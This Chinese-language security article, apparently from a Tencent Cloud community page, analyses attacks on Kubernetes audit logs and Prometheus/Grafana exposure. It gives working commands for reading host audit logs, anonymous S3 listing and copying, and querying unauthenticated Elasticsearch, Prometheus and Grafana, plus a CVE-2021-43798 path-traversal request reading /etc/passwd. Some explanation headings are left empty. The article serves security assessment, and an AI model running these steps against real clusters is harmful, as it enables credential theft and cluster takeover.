针对 Kubernetes 日志与监控系统 的详细攻击视角分析,聚焦 集群审计日志 和 Prometheus/Grafana 暴露 的潜在风险及利用方法
攻击链示例
1. 攻击者通过容器逃逸进入 Pod →
2. 发现未认证的 Prometheus 服务 →
3. 查询环境变量标签获取数据库密码 →
4. 通过审计日志发现高权限 ServiceAccount 活动 →
5. 伪造 Token 接管集群控制权。
目标:通过访问未受保护的审计日志,提取高权限操作记录(如 kubectl exec、Secret 访问)、服务账户 Token 使用痕迹,为横向移动提供线索。
检查Kubernetes API Server的审计策略配置是确保集群安全的重要步骤之一。通过审计日志,可以追踪谁在何时对API进行了何种操作,这对于检测潜在的安全威胁和事后分析至关重要。
要查看API Server当前使用的审计策略配置文件路径,可以通过以下命令获取kube-apiserver Pod的详细信息,并查找与审计策略相关的参数:
kubectl get pod kube-apiserver-control-plane -n kube-system -o yaml | grep audit-policy
执行上述命令后,你可能会看到类似如下的输出:
- --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
下面是一个简单的审计策略示例,它记录所有请求的元数据(如用户、时间戳等),并对读取和写入操作进行更详细的记录:
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
- resources:
- group: ""
resources: ["pods"]
verbs: ["create", "update", "delete"]
level: RequestResponse
在这个示例中:
根据日志存储的位置,攻击者可能会有不同的方法来尝试访问这些敏感数据。
如果攻击者已经获得了对Kubernetes节点的控制权,或者能够通过挂载宿主机目录的方式在Pod中访问宿主机上的文件,那么他们可能直接读取存储在节点本地的日志文件,包括审计日志。这为获取敏感信息提供了途径,尤其是当这些日志包含高权限操作记录时。
假设攻击者已经成功地将宿主机器的日志目录挂载到了Pod内,他们可以使用以下命令来读取和分析审计日志文件:
读取审计日志文件
cat /host/var/log/kubernetes/audit/audit.log
这里的/host/var/log/kubernetes/audit/audit.log是挂载到Pod内的宿主机日志文件路径,实际路径可能会根据具体的挂载配置有所不同。
过滤高权限操作记录
如果想要专门查找某些特定的操作(如执行命令),并且关注的是由特定服务账户发起的操作,可以使用grep命令进行过滤。例如,查找所有由kube-system命名空间下的admin服务账户执行的exec命令:
grep "exec" audit.log | grep "user\":\"system:serviceaccount:kube-system:admin"
这个命令首先会在audit.log文件中搜索包含exec关键字的行,然后进一步筛选出那些用户字段中包含system:serviceaccount:kube-system:admin的服务账户执行的操作。
在云环境中,尤其是使用Amazon S3作为审计日志或其他敏感数据的存储后端时,确保这些存储桶的安全配置至关重要。错误配置的S3存储桶可能会允许匿名用户访问或下载其中的数据,这对安全性构成了严重威胁。
通过以下命令,可以尝试以匿名方式列出S3存储桶中的内容或复制文件到本地:
列出S3存储桶的内容
aws s3 ls s3://audit-logs-bucket/ --no-sign-request
这个命令尝试以匿名身份(即不使用任何AWS凭证)列出名为audit-logs-bucket的S3存储桶中的文件和目录。如果该存储桶的权限设置为允许公共读取,则此命令将成功返回存储桶内的对象列表。
从S3存储桶复制文件到本地
如果发现某个特定的日志文件可以被匿名访问,你可以使用以下命令将其下载到本地:
aws s3 cp s3://audit-logs-bucket/cluster-audit.log .
此命令会尝试将audit-logs-bucket存储桶中的cluster-audit.log文件下载到当前工作目录下。同样,这也依赖于存储桶是否允许匿名用户的读取权限。
Elasticsearch 未授权访问
如果Elasticsearch实例配置不当,允许未授权访问,这可能会导致敏感信息的泄露,包括但不限于Kubernetes集群中的审计日志。这些日志可能包含有关创建、更新或删除资源(如Secrets)的重要信息。
使用curl命令可以直接向Elasticsearch发送请求,以检测是否存在未授权访问的情况。以下是一个示例命令,用于搜索所有包含特定条件的日志条目:
curl http://xx.xx.xx.xx:9200/_search?q=verb:"create"+AND+objectRef.resource:"secrets"
在这个例子中:
如果该请求成功返回结果,说明Elasticsearch实例可能存在未授权访问的风险。
审计日志条目可能包含以下关键信息:
{
"user": {"username": "system:serviceaccount:kube-system:admin"},
"verb": "create",
"objectRef": {
"resource": "secrets",
"name": "database-credentials",
"namespace": "default"
},
"requestURI": "/api/v1/namespaces/default/secrets"
}
通过上述系列步骤,可以发现高权限 ServiceAccount 的操作记录,用于伪造 Token 或重放请求。
目标:通过未授权的监控接口获取节点/Pod 资源指标、服务依赖拓扑,甚至通过标签(Labels)泄露敏感信息。
为了识别和访问集群内部部署的服务,如监控工具Prometheus和Grafana,可以通过Kubernetes的kubectl命令行工具查询相关服务的信息。这些信息通常包括服务的名称、类型、集群IP以及端口号等,这对于后续的安全评估或管理操作非常重要。
使用以下命令可以查找位于monitoring命名空间下的Prometheus(默认端口9090)和Grafana(默认端口3000)服务:
kubectl get svc -n monitoring | grep -E 'prometheus|grafana'
执行上述命令后,你可能会看到类似如下的输出:
prometheus-svc ClusterIP 10.96.0.200 <none> 9090/TCP 10d
grafana-svc ClusterIP 10.96.0.201 <none> 3000/TCP 10d
在这个示例中:
如果你在一个运行在集群内的Pod中工作,可以直接使用服务名进行访问。例如,要访问Prometheus UI,可以在Pod内执行:
curl http://prometheus-svc:9090
通过端口转发访问:如果需要从集群外部访问这些服务,可以使用kubectl port-forward命令将服务端口转发到本地机器上的任意端口。例如,要访问Grafana界面,可以执行:
kubectl port-forward svc/grafana-svc 3000:3000 -n monitoring
然后,在浏览器中打开http://localhost:3000即可访问Grafana界面。
匿名访问 Grafana
如果Grafana实例未正确配置认证和授权机制,可能会允许匿名用户访问其接口和数据,这将构成重大的安全风险。通过发送一个简单的HTTP请求到Grafana的API端点,可以测试是否启用了登录认证。
使用curl命令向Grafana服务发送请求以检查是否允许匿名访问:
curl -v http://10.96.0.201:3000/api/dashboards/home
在这个例子中:
如果请求成功并返回状态码200 OK,这意味着未启用登录认证,任何用户都可以无需登录即可访问Grafana的资源。
Prometheus API 未授权
如果Prometheus实例没有正确配置认证和授权,可能会允许任何人通过其API访问敏感信息,如监控目标的详细信息(包括Pod IP和端口)。这将构成潜在的安全风险,因为这些信息可以被攻击者利用来进一步探索集群内部结构或发起针对性攻击。
使用curl命令可以直接向Prometheus的API发送请求,以测试是否启用了访问控制。以下是一个示例命令,用于获取所有监控目标的信息:
curl http://xx.xx.xx.xx:9090/api/v1/targets
如果请求成功并返回了JSON格式的数据列表,这意味着Prometheus实例可能允许未授权访问。响应中的数据通常包含监控目标的详细信息,如Pod IP地址、端口号等。
{
"status": "success",
"data": {
"activeTargets": [
{
"discoveredLabels": {},
"labels": {
"__address__": "10.244.0.4:9100",
"job": "kubernetes-pods"
},
"scrapePool": "kubernetes-pods/0",
"scrapeUrl": "http://10.244.0.4:9100/metrics",
"globalUrl": "http://10.244.0.4:9100/metrics",
"lastError": "",
"lastScrape": "2025-02-11T09:39:12.123456789Z",
"lastScrapeDuration": 0.002345678,
"health": "up"
}
]
}
}
某些部署工具可能会将应用的配置信息,包括敏感数据如数据库密码等,以环境变量的形式注入到容器中。如果这些环境变量被错误地包含在暴露给Prometheus的指标标签中,那么它们就可能通过Prometheus的API公开,导致敏感信息泄露。
为了检查是否存在这样的风险,可以通过Prometheus的查询API来检索特定命名空间下的Pod容器信息,并查看是否包含环境变量作为指标标签的一部分。以下是一个示例命令:
curl -G http://10.96.0.200:9090/api/v1/query \
--data-urlencode 'query=kube_pod_container_info{namespace="default"}'
在这个例子中:
如果查询返回的数据中包含了类似如下的内容,则说明存在敏感信息泄露的风险:
{
"status": "success",
"data": {
"resultType": "vector",
"result": [
{
"metric": {
"__name__": "kube_pod_container_info",
"env": "DB_PASSWORD=Pa$$w0rd",
"namespace": "default",
"pod": "example-pod"
},
"value": [1676078400, "1"]
}
]
}
}
在此示例中,可以看到环境变量env="DB_PASSWORD=Pa$$w0rd"直接暴露在了Prometheus的指标标签中,这显然是不安全的做法。
通过分析Prometheus中的服务指标,可以推断出Kubernetes集群内部的服务架构及其依赖关系。这对于理解系统的整体健康状况、优化资源分配以及识别潜在的安全风险都非常重要。以下是如何使用Prometheus查询来获取HTTP请求量最高的服务作为例子进行服务拓扑和依赖分析的方法。
要找出HTTP请求量最高的服务,可以使用Prometheus的查询功能来计算一段时间内的请求速率,并按服务分组排序。以下是一个示例命令:
curl -G http://10.96.0.200:9090/api/v1/query \
--data-urlencode 'query=topk(5, sum(rate(http_requests_total[5m])) by (service))'
在这个例子中:
假设Prometheus返回了如下JSON格式的数据:
{
"status": "success",
"data": {
"resultType": "vector",
"result": [
{
"metric": {
"service": "frontend"
},
"value": [1676080400, "350"]
},
{
"metric": {
"service": "backend"
},
"value": [1676080400, "200"]
},
{
"metric": {
"service": "auth-service"
},
"value": [1676080400, "150"]
},
{
"metric": {
"service": "payment"
},
"value": [1676080400, "100"]
},
{
"metric": {
"service": "inventory"
},
"value": [1676080400, "50"]
}
]
}
}
在这个示例中,可以看到每个服务在过去5分钟内的平均HTTP请求数量(第二项为值),例如frontend服务有350次请求,是请求量最高的服务。
为了导出Grafana中的所有仪表盘配置,可以利用Grafana提供的RESTful API来获取每个仪表盘的详细信息。你提供的命令是一个有效的起点,它首先搜索所有仪表盘以获取它们的UID,然后针对每一个UID请求详细的仪表盘数据,仪表盘可能包含数据库连接字符串、内部服务 IP以下是对你提供的命令的解释以及如何正确执行此操作:
# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')
# 遍历每个UID并下载对应的仪表盘数据
for uid in $uids; do
curl -s http://10.96.0.201:3000/api/dashboards/uid/$uid > "dashboard_$uid.json"
done
如果希望将所有仪表盘合并到一个文件中,并且保持有效的JSON格式,你可以这样做:
# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')
# 开始构建JSON数组
echo '[' > dashboards.json
# 遍历每个UID并下载对应的仪表盘数据,同时添加逗号分隔
first=true
for uid in $uids; do
if [ "$first" = true ]; then
first=false
else
echo ',' >> dashboards.json
fi
curl -s http://10.96.0.201:3000/api/dashboards/uid/$uid >> dashboards.json
done
# 结束JSON数组
echo ']' >> dashboards.json
这样,你就可以获得一个包含所有仪表盘配置的有效JSON文件了。注意,在执行这些命令之前,请确认已经安装了curl和jq工具,并且有权限访问Grafana实例。此外,如果Grafana启用了认证,则需要在请求中加入相应的认证头(如API密钥)。
CVE-2021-43798 是 Grafana 中的一个路径遍历漏洞,它允许攻击者通过构造特制的HTTP请求来访问服务器上的任意文件。此漏洞影响了Grafana 8.0.0-beta1至8.3.0版本(不包括补丁版本),并且已经在后续更新中得到了修复。如果运行的是这些受影响的版本且未打补丁,则存在安全风险。
下面是一个利用该漏洞读取/etc/passwd文件的例子:
curl --path-as-is http://10.96.0.201:3000/public/plugins/alertlist/../../../../../../etc/passwd
在这个例子中:
日志与监控系统是攻击者的“情报金矿”,防御需从存储安全、访问控制、数据脱敏三个维度构建防护体系,并确保监控系统自身不被反向利用!
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。